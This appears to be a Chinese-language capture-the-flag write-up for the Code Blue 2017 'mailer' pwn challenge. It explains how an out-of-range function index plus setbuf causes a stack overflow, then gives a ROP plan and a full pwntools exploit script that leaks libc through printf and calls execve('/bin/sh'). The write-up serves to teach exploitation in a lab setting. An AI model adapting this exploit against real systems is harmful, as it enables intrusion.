code-blue-2017-mailer

利用setbuf~

分析

只存在NX保护:

看代码,一个明显的漏洞,可以向下任意地址函数调用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int __cdecl post(struct letter *buf, FILE *s)
{
int funI; // [esp+8h] [ebp-10h]
int id; // [esp+Ch] [ebp-Ch]

puts("\nWhich letter do you want to post?");
printf("ID (0-%d): ", 4);
id = readInt();
if ( id < 0 || id > 4 || !buf[id].available )
return puts("Invalid ID.");
puts("\nWhich filter do you want to apply?");
memu2();
funI = readInt();
if ( funI > 2 )
return puts("Invalid filter.");
(*(&funlist + funI))(s, buf[id].content, buf[id].len); //向下任意地址函数调用
return puts("\nDone!");
}

在对内容进行输出时,用的是用户指定的流:

1
2
3
4
5
6
7
8
9
size_t __cdecl fun0dir(FILE *s, void *ptr, size_t n)
{
size_t v4; // [esp+Ch] [ebp-Ch]

v4 = fwrite(ptr, 1u, n, s);
if ( v4 != n )
exitError();
return v4;
}

除此之外没有其他漏洞,于是利用方法是先调用setbuf把buf设置为s的缓冲区,大小时4086超过了buf大小就可以溢出,设置完以后调用fun0dir输出几次就会把之前指定的那个buf溢出,这就是标准的栈溢出啦,接着就是构造ROP链,先使用printf泄露出libc再直接调用system。

利用

思路:

  1. 构造ROP1:printf->pret->printf@got->readN->pppret->bss->100->0->popebpret->bss->leaveret
  2. 添加5个mail,里面写入ROP,padding到最大,然后调用setbuf(s,letter[4].content),再调用两次fun0dir(s,letter[3].content,letter[3].len),这时就会把letter[4].content溢出,覆盖到mainmain的返回地址
  3. 选择退出触发漏洞,得到printfAddr,计算出systemAddr
  4. 构造ROP2:system->exit->&binsh(经测试,system不能用,使用execve成功)
  5. 输入getshell

利用代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
#!/usr/bin/env python
# coding=utf-8
from pwn import *

context.log_level='debug'
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
bso = libc.search('/bin/sh\0').next()
#so = libc.symbols['system']
so = libc.symbols['execve']
po = libc.symbols['printf']
def sl(s):
assert('\n' not in s)
p.sendline(s)
def sla(a,b):
assert('\n' not in a)
p.sendlineafter(b,a)
def ru(s):
return p.recvuntil(s)
def r(x=0x100):
return p.recv(x)
def add(s):
sla('1','> ')
sl(s)
assert('Done' in ru('1. Add'))
def post(i,f):
sla('3','> ')
# sla(str(i),'(0-%d): ')
sl(str(i))
# assert('apply' in r())
sl(str(f))
assert('Done' in ru('1. Add'))
def quit():
sla('4','> ')

p = process('./mailer')
#p = remote('127.0.0.1',1234)
elf =ELF('./mailer')
bss = 0x0804b060+0x0c
pg = elf.got['printf']
pp = elf.plt['printf']
#fgp = elf.plt['fgets']
readn = 0x80486d9
pppret = 0x08048da9
pret = 0x08048dab #pop ebp ; ret
lret = 0x080485f8 #0x080485f8
#stdi = 0x0804B060
sb = (elf.got['setbuf']-0x0804B048)/4
rop1 = flat([pp,pret,pg,readn,pppret,bss,0x100,0,pret,bss,lret])

for _ in range(5):
print _
add(('a'*14+rop1).ljust(254,'c'))
#pause()
post(4,sb)
post(3,0)
post(3,0)
#gdb.attach(p,'b* 0x80485f9')
quit()
garbage = ru('service :)\n')
printfAddr = u32(r(4))

print hex(printfAddr)
systemAddr = printfAddr - po + so
binshAddr = printfAddr - po + bso
rop2 = flat([0,systemAddr,0,binshAddr,0,0])
sl(rop2)
sl('id')
p.interactive()
#pause()

结果

参考

[0]https://0x48.pw/2017/11/11/0x3D/